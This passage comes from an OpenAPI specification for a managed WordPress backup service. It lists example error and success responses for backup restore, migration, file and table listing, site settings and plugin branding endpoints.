422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } }, "resource_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "snapshot_id", "message": "Snapshot is not ready." } ] } } }, "invalid_snapshot": { "summary": "Snapshot cannot be used for migration", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "snapshot_id", "message": "Snapshot is invalid." } ] } } }, "destination_site_not_found": { "summary": "Internal destination site is not available to you", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_found", "param": "migration.destination_url", "message": "Destination site not found" } ] } } }, "operation_failed": { "summary": "Migration task could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Migration could not be started." } ] } } } } } } }, "SiteBackupRestoreInvalidRequestResponse": { "description": "The `restore` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_restore": { "summary": "Missing request wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore", "message": "Can't be blank" } ] } } }, "missing_scope": { "summary": "Missing scope wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.scope", "message": "Can't be blank" } ] } } }, "invalid_restore_type": { "summary": "Restore wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore", "message": "Must be an object." } ] } } }, "invalid_scope_type": { "summary": "Scope wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope", "message": "Must be an object." } ] } } }, "missing_scope_selection": { "summary": "Files or database must be selected", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.scope", "message": "At least one of include_files or include_database must be true" } ] } } }, "invalid_include_files": { "summary": "Include files flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.include_files", "message": "Must be a boolean" } ] } } }, "invalid_include_database": { "summary": "Include database flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.include_database", "message": "Must be a boolean" } ] } } }, "invalid_paths_type": { "summary": "Paths must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.paths", "message": "Must be an array" } ] } } }, "invalid_paths_item_type": { "summary": "Paths must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.paths", "message": "Must contain only strings" } ] } } }, "empty_paths": { "summary": "Paths cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.scope.paths", "message": "Can't be blank" } ] } } }, "paths_without_files": { "summary": "Paths require file scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.scope.paths", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_tables_type": { "summary": "Tables must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.tables", "message": "Must be an array" } ] } } }, "invalid_tables_item_type": { "summary": "Tables must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.tables", "message": "Must contain only strings" } ] } } }, "empty_tables": { "summary": "Tables cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.scope.tables", "message": "Can't be blank" } ] } } }, "tables_without_database": { "summary": "Tables require database scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.scope.tables", "message": "Must not be sent unless matching include flag is true" } ] } } }, "invalid_subsite_ids_type": { "summary": "Subsite IDs must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.subsite_ids", "message": "Must be an array" } ] } } }, "invalid_subsite_ids_item_type": { "summary": "Subsite IDs must contain only strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.scope.subsite_ids", "message": "Must contain only strings" } ] } } }, "empty_subsite_ids": { "summary": "Subsite IDs cannot be empty when sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.scope.subsite_ids", "message": "Can't be blank" } ] } } }, "invalid_subsite_selection": { "summary": "Subsite IDs require a multisite site", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.scope.subsite_ids", "message": "Subsite IDs are only accepted for multisite sites" } ] } } }, "unmatched_subsite_paths": { "summary": "Selected subsites do not match file paths", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.scope.subsite_ids", "message": "Selected subsites did not match any file paths" } ] } } }, "unmatched_subsite_tables": { "summary": "Selected subsites do not match database tables", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.scope.subsite_ids", "message": "Selected subsites did not match any database tables" } ] } } }, "invalid_connection_type": { "summary": "Connection wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection", "message": "Must be an object." } ] } } }, "missing_connection_method": { "summary": "Connection method is required when connection is sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.connection.method", "message": "Can't be blank" } ] } } }, "invalid_connection_method_type": { "summary": "Connection method must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.method", "message": "Must be a string" } ] } } }, "unsupported_connection_method": { "summary": "Connection method is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.connection.method", "message": "Must be http or ftp" } ] } } }, "missing_credentials": { "summary": "Connection credentials are required for FTP restore", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.connection.credentials", "message": "Can't be blank" } ] } } }, "invalid_credentials_type": { "summary": "Connection credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.credentials", "message": "Must be an object." } ] } } }, "http_server_credentials": { "summary": "HTTP restores do not accept server credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.connection.credentials.server", "message": "Server credentials are not accepted for HTTP restore" } ] } } }, "http_database_credentials": { "summary": "HTTP restores do not accept database credentials", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.connection.credentials.database", "message": "Database credentials are only accepted for FTP restore" } ] } } }, "missing_server_credentials": { "summary": "Server credentials are required for FTP restore", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "restore.connection.credentials.server", "message": "Server credentials are incomplete" } ] } } }, "invalid_server_credentials_type": { "summary": "Server credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.credentials.server", "message": "Must be an object." } ] } } }, "invalid_server_protocol": { "summary": "Server protocol is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "restore.connection.credentials.server.protocol", "message": "Server protocol must be ftp, sftp, or ftps" } ] } } }, "invalid_server_port": { "summary": "Server port must be an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.credentials.server.port", "message": "Must be an integer" } ] } } }, "missing_database_credentials": { "summary": "Database credentials are required for FTP restore", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "restore.connection.credentials.database", "message": "Database credentials are incomplete" } ] } } }, "invalid_database_credentials_type": { "summary": "Database credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.credentials.database", "message": "Must be an object." } ] } } }, "invalid_http_auth_type": { "summary": "HTTP auth credentials must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.connection.credentials.http_auth", "message": "Must be an object." } ] } } }, "incomplete_http_auth": { "summary": "HTTP auth credentials are incomplete", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "incomplete_credentials", "param": "restore.connection.credentials.http_auth", "message": "HTTP auth credentials are incomplete" } ] } } }, "invalid_options_type": { "summary": "Options wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options", "message": "Must be an object" } ] } } }, "invalid_retain_latest_posts": { "summary": "Retain latest posts flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options.retain_latest_posts", "message": "Must be a boolean" } ] } } }, "invalid_retain_latest_woocommerce_orders": { "summary": "Retain latest WooCommerce orders flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options.retain_latest_woocommerce_orders", "message": "Must be a boolean" } ] } } }, "invalid_preserve_permissions": { "summary": "Preserve permissions flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options.preserve_permissions", "message": "Must be a boolean" } ] } } }, "invalid_real_time_events_type": { "summary": "Real-time events must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options.real_time_events", "message": "Must be an object" } ] } } }, "invalid_real_time_events_enabled": { "summary": "Real-time events flag must be boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "restore.options.real_time_events.enabled", "message": "Must be a boolean" } ] } } }, "missing_real_time_events_until": { "summary": "Real-time events cutoff is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "restore.options.real_time_events.until", "message": "Can't be blank" } ] } } }, "invalid_real_time_events_until": { "summary": "Real-time cutoff must be ISO 8601", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "restore.options.real_time_events.until", "message": "Must be a valid ISO 8601 timestamp" } ] } } } } } } }, "SiteBackupRestoreNotFoundResponse": { "description": "The site or snapshot could not be found or is not available to you.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "snapshot_not_found": { "summary": "Snapshot does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } } } } } }, "SiteBackupRestoreConflictResponse": { "description": "Another backup restore is already in progress for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SiteBackupOperationConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Restore already in progress", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } } } }, "SiteBackupRestoreBusinessResponse": { "description": "The backup restore could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } }, "resource_not_ready": { "summary": "Snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "snapshot_id", "message": "Snapshot is not ready." } ] } } }, "invalid_snapshot": { "summary": "Snapshot cannot be used for restore", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "snapshot_id", "message": "Snapshot is invalid." } ] } } }, "operation_failed": { "summary": "Restore task could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Restore could not be started." } ] } } } } } } }, "EnableSiteBackupsUnprocessableResponse": { "description": "Backups could not be enabled for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_upgrade_required": { "summary": "Backups are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan upgrade required.", "details": [ { "code": "plan_upgrade_required", "param": "feature", "message": "Your current plan does not support Backups." } ] } } }, "operation_failed": { "summary": "Enable backup failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Enable backup failed." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "DisableSiteBackupsUnprocessableResponse": { "description": "Backups could not be disabled for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Disable backup failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Disable backup failed." } ] } } }, "site_under_maintenance": { "summary": "Site is temporarily unavailable", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "DeleteSiteImportantPageNoContentResponse": { "description": "Important page was removed and no response body is returned." }, "ListSiteFilesBadRequestResponse": { "description": "The file list request contains invalid snapshot or filter parameters.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_snapshot": { "summary": "Snapshot does not exist for this site", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_id", "param": "snapshot_id", "message": "Invalid snapshot" } ] } } }, "invalid_filter_type": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Unsupported filter key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:ne]", "message": "Filter is not supported." } ] } } }, "invalid_timestamp": { "summary": "Invalid modified_at timestamp filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "filters[modified_at:gte]", "message": "Invalid modified_at format." } ] } } }, "invalid_size": { "summary": "Invalid size filter value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[size:gte]", "message": "Size must be a non-negative integer." } ] } } } } } } }, "SnapshotNotReadyResponse": { "description": "The snapshot is not ready, or no completed snapshot is available.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "no_snapshot_available": { "summary": "No completed snapshot is available", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "message": "No snapshot available" } ] } } }, "snapshot_not_ready": { "summary": "Requested snapshot is not ready", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "message": "Snapshot is not ready" } ] } } } } } } }, "ListSiteFileVersionsBadRequestResponse": { "description": "The file identity is missing, ambiguous, or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_identity": { "summary": "Missing id or path", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "id", "message": "Can't be blank" } ] } } }, "ambiguous_identity": { "summary": "Both id and path were sent", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "id", "message": "Send exactly one of id or path" } ] } } }, "invalid_id": { "summary": "Invalid file ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "id", "message": "Invalid file ID format" } ] } } } } } } }, "SiteFileSnapshotBadRequestResponse": { "description": "The `snapshot_id` parameter does not match a snapshot for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "example": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_id", "param": "snapshot_id", "message": "Invalid snapshot" } ] } } } } }, "DownloadSiteFileBadRequestResponse": { "description": "The download identity is missing, ambiguous, or invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_path": { "summary": "Missing path identity", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "path", "message": "Can't be blank" } ] } } }, "missing_modified_at": { "summary": "Path identity is missing modified_at", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "modified_at", "message": "Can't be blank" } ] } } }, "missing_size": { "summary": "Path identity is missing size", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "size", "message": "Can't be blank" } ] } } }, "ambiguous_identity": { "summary": "id was sent with path, modified_at, or size", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "id", "message": "Send either id or path, not both" } ] } } }, "invalid_id": { "summary": "Invalid file ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "id", "message": "Invalid file ID format" } ] } } }, "invalid_modified_at": { "summary": "Invalid modified_at timestamp", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "modified_at", "message": "Invalid modified_at format" } ] } } }, "invalid_size": { "summary": "Invalid size value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "size", "message": "Invalid size format" } ] } } } } } } }, "DownloadSiteFileNotFoundResponse": { "description": "The site or file was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "site_not_found": { "summary": "Site does not exist or is not available to you", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "file_not_found": { "summary": "File version is not available", "value": { "error": { "status": 404, "code": "not_found", "message": "File not found" } } } } } } }, "InvalidDirectoryPathsResponse": { "description": "The `paths` request field is missing, blank, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_paths": { "summary": "paths is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "paths", "message": "Can't be blank" } ] } } }, "invalid_type": { "summary": "paths is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "paths", "message": "Must be an array" } ] } } }, "blank_path": { "summary": "paths includes a blank value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "paths", "message": "Can't be blank" } ] } } } } } } }, "PathValidationSnapshotNotReadyResponse": { "description": "No completed snapshot is available to validate submitted paths.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "base", "message": "No snapshot available" } ] } } } } }, "ListSiteTablesBadRequestResponse": { "description": "The table list request contains invalid snapshot, filter, or sort parameters.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_snapshot": { "summary": "Invalid snapshot ID", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_id", "param": "snapshot_id", "message": "Invalid snapshot" } ] } } }, "invalid_filter_type": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Unsupported filter key or operator", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:ne]", "message": "Filter is not supported." } ] } } }, "invalid_rows": { "summary": "Invalid rows filter value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[rows:gte]", "message": "Rows must be a non-negative integer." } ] } } }, "invalid_size": { "summary": "Invalid size filter value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[size:lte]", "message": "Size must be a non-negative integer." } ] } } }, "invalid_sort_type": { "summary": "Sort must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Invalid sort format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteTableSnapshotBadRequestResponse": { "description": "The `snapshot_id` parameter does not match a snapshot for this site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "example": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_id", "param": "snapshot_id", "message": "Invalid snapshot" } ] } } } } }, "InvalidTablesRequestResponse": { "description": "The `tables` request field is missing, blank, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_tables": { "summary": "tables is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "tables", "message": "Can't be blank" } ] } } }, "invalid_type": { "summary": "tables is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "tables", "message": "Must be an array" } ] } } }, "blank_table": { "summary": "tables includes a blank value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "tables", "message": "Can't be blank" } ] } } } } } } }, "TableValidationSnapshotNotReadyResponse": { "description": "No completed snapshot is available to validate submitted table names.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "base", "message": "No snapshot available" } ] } } } } }, "UpdateSiteSettingsBadRequestResponse": { "description": "The `settings` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_settings": { "summary": "settings is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "settings", "message": "Can't be blank" } ] } } }, "invalid_settings_type": { "summary": "settings is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "settings", "message": "Must be an object" } ] } } }, "no_editable_setting": { "summary": "settings has no editable setting", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "settings", "message": "Must include at least one editable setting" } ] } } }, "invalid_setting_object": { "summary": "setting value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "settings.wp_auto_updates", "message": "Must be an object" } ] } } }, "missing_enabled": { "summary": "enabled is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "settings.wp_auto_updates.enabled", "message": "Can't be blank" } ] } } }, "invalid_enabled": { "summary": "enabled is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "settings.wp_auto_updates.enabled", "message": "Must be a boolean" } ] } } } } } } }, "SitePluginBrandingOkResponse": { "description": "Site plugin branding returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SitePluginBrandingResponse" }, "examples": { "same_as_account": { "summary": "Inherited account branding", "value": { "plugin_branding": { "type": "same_as_account", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "default": { "summary": "Default plugin branding", "value": { "plugin_branding": { "type": "default", "name": "Managed WordPress Plugin", "description": "Managed WordPress security and backup", "author": { "name": "Plugin Provider", "url": "https://example.com" } } } }, "hidden": { "summary": "Hidden site branding", "value": { "plugin_branding": { "type": "hidden", "name": null, "description": null, "author": { "name": null, "url": null } } } } } } } }, "SitePluginBrandingUpdatedResponse": { "description": "Site plugin branding updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SitePluginBrandingResponse" }, "examples": { "custom": { "summary": "Custom plugin branding", "value": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "same_as_account": { "summary": "Inherited account branding", "value": { "plugin_branding": { "type": "same_as_account", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } } } } } }, "SitePluginBrandingValidationResponse": { "description": "The `plugin_branding` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing plugin_branding root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding", "message": "Can't be blank." } ] } } }, "invalid_wrapper": { "summary": "plugin_branding wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding", "message": "Must be an object." } ] } } }, "missing_type": { "summary": "Branding type is missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding.type", "message": "Can't be blank." } ] } } }, "non_string_type": { "summary": "Branding type is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.type", "message": "Must be a string." } ] } } }, "invalid_type": { "summary": "Branding type is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "plugin_branding.type", "message": "Invalid type. Allowed values: default, same_as_account, custom, hidden." } ] } } }, "missing_custom_fields": { "summary": "Required custom branding fields are missing", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "plugin_branding.name", "message": "Can't be blank." }, { "code": "blank", "param": "plugin_branding.description", "message": "Can't be blank." }, { "code": "blank", "param": "plugin_branding.author.name", "message": "Can't be blank." } ] } } }, "invalid_author": { "summary": "Author value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.author", "message": "Must be an object." } ] } } }, "invalid_string_fields": { "summary": "Custom text fields are not strings", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "plugin_branding.name", "message": "Must be a string." }, { "code": "invalid_type", "param": "plugin_branding.description", "message": "Must be a string." }, { "code": "invalid_type", "param": "plugin_branding.author.name", "message": "Must be a string." } ] } } }, "short_description": { "summary": "Custom description is too short", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_short", "param": "plugin_branding.description", "message": 